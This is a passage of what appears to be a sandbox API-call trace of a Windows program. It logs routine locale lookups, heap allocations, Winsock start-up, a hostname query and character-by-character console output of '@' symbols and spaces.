LCType=0x49, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cec48 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x49, lpLCData=0x4cec48, cchData=4 | out: lpLCData="Jun") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cebe8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4a, lpLCData=0x4cebe8, cchData=4 | out: lpLCData="Jul") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ceca8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4b, lpLCData=0x4ceca8, cchData=4 | out: lpLCData="Aug") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cebc8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4c, lpLCData=0x4cebc8, cchData=4 | out: lpLCData="Sep") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cece8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4d, lpLCData=0x4cece8, cchData=4 | out: lpLCData="Oct") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cecd8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4e, lpLCData=0x4cecd8, cchData=4 | out: lpLCData="Nov") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4ceaf8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x4f, lpLCData=0x4ceaf8, cchData=4 | out: lpLCData="Dec") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x38, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x10) returned 0x4ca108 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x38, lpLCData=0x4ca108, cchData=8 | out: lpLCData="January") returned 8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x39, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c65a0 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x39, lpLCData=0x4c65a0, cchData=9 | out: lpLCData="February") returned 9 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3a, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xc) returned 0x4ca0a8 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3a, lpLCData=0x4ca0a8, cchData=6 | out: lpLCData="March") returned 6 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3b, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 6 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xc) returned 0x4ca150 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3b, lpLCData=0x4ca150, cchData=6 | out: lpLCData="April") returned 6 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3c, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 4 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4cec28 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3c, lpLCData=0x4cec28, cchData=4 | out: lpLCData="May") returned 4 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3d, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa) returned 0x4ca168 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3d, lpLCData=0x4ca168, cchData=5 | out: lpLCData="June") returned 5 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3e, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 5 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa) returned 0x4ca120 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3e, lpLCData=0x4ca120, cchData=5 | out: lpLCData="July") returned 5 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 7 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe) returned 0x4ca138 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x3f, lpLCData=0x4ca138, cchData=7 | out: lpLCData="August") returned 7 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x40, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 10 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x14) returned 0x4c6620 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x40, lpLCData=0x4c6620, cchData=10 | out: lpLCData="September") returned 10 [0122.021] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x41, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8 [0122.021] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x10) returned 0x4cf188 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x41, lpLCData=0x4cf188, cchData=8 | out: lpLCData="October") returned 8 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x42, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c65c0 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x42, lpLCData=0x4c65c0, cchData=9 | out: lpLCData="November") returned 9 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x43, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c6600 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x43, lpLCData=0x4c6600, cchData=9 | out: lpLCData="December") returned 9 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x28, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x6) returned 0x4cec88 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x28, lpLCData=0x4cec88, cchData=3 | out: lpLCData="AM") returned 3 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x29, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 3 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x6) returned 0x4ceb08 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x29, lpLCData=0x4ceb08, cchData=3 | out: lpLCData="PM") returned 3 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1f, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 9 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c6640 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1f, lpLCData=0x4c6640, cchData=9 | out: lpLCData="M/d/yyyy") returned 9 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 19 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x26) returned 0x4c4a88 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20, lpLCData=0x4c4a88, cchData=19 | out: lpLCData="dddd, MMMM d, yyyy") returned 19 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1003, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 11 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x16) returned 0x4c6660 [0122.022] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1003, lpLCData=0x4c6660, cchData=11 | out: lpLCData="h:mm:ss tt") returned 11 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6a6) returned 0x4cf2d8 [0122.022] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cf2d8 | out: hHeap=0x4b0000) returned 1 [0122.022] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5580 | out: hHeap=0x4b0000) returned 1 [0122.022] GetLastError () returned 0x0 [0122.022] SetLastError (dwErrCode=0x0) [0122.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x19fbe0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x19fbe0) returned 27 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1f) returned 0x4cd3d8 [0122.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x4cd3dc, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x19fbe0 | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x19fbe0) returned 27 [0122.022] GetLastError () returned 0x0 [0122.022] SetLastError (dwErrCode=0x0) [0122.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4cd3dc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 27 [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x36) returned 0x4c6ec8 [0122.022] GetLastError () returned 0x0 [0122.022] SetLastError (dwErrCode=0x0) [0122.022] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4cd3dc, cbMultiByte=-1, lpWideCharStr=0x4c6ec8, cchWideChar=27 | out: lpWideCharStr="English_United States.1252") returned 27 [0122.022] GetLastError () returned 0x0 [0122.022] SetLastError (dwErrCode=0x0) [0122.022] GetLastError () returned 0x0 [0122.022] SetLastError (dwErrCode=0x0) [0122.022] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb8) returned 0x4bfe40 [0122.023] GetLastError () returned 0x0 [0122.023] SetLastError (dwErrCode=0x0) [0122.023] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6a6) returned 0x4cf2d8 [0122.023] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cf2d8 | out: hHeap=0x4b0000) returned 1 [0122.023] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cd3d8 | out: hHeap=0x4b0000) returned 1 [0122.023] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5df0 | out: hHeap=0x4b0000) returned 1 [0122.023] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6ec8 | out: hHeap=0x4b0000) returned 1 [0122.023] GetLastError () returned 0x0 [0122.023] SetLastError (dwErrCode=0x0) [0122.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x19fbd8 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x19fbd8) returned 27 [0122.023] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1f) returned 0x4cd630 [0122.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x4cd634, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x19fbd8 | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x19fbd8) returned 27 [0122.023] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x19fca0 | out: lpWSAData=0x19fca0) returned 0 [0122.025] gethostname (in: name=0x19fe30, namelen=255 | out: name="NQdPdE") returned 0 [0122.587] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1000) returned 0x4da0c8 [0122.632] GetLastError () returned 0x0 [0122.632] SetLastError (dwErrCode=0x0) [0122.632] GetLastError () returned 0x0 [0122.632] SetLastError (dwErrCode=0x0) [0122.632] GetLastError () returned 0x0 [0122.632] SetLastError (dwErrCode=0x0) [0122.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="\n?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.632] GetLastError () returned 0x0 [0122.632] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="\n?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.633] GetLastError () returned 0x0 [0122.633] SetLastError (dwErrCode=0x0) [0122.633] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.634] GetLastError () returned 0x0 [0122.634] SetLastError (dwErrCode=0x0) [0122.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="\n?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.635] SetLastError (dwErrCode=0x0) [0122.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.635] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr="@?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x19f73c | out: lpMultiByteStr=" ?@", lpUsedDefaultChar=0x19f73c) returned 1 [0122.636] GetLastError () returned 0x0 [0122.636] SetLastError (dwErrCode=0x0) [0122.636] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="@", cchWideChar=1, lpMultiByteStr=0x19f774, cbMultiByte=5, lpDefaultChar=0x0, 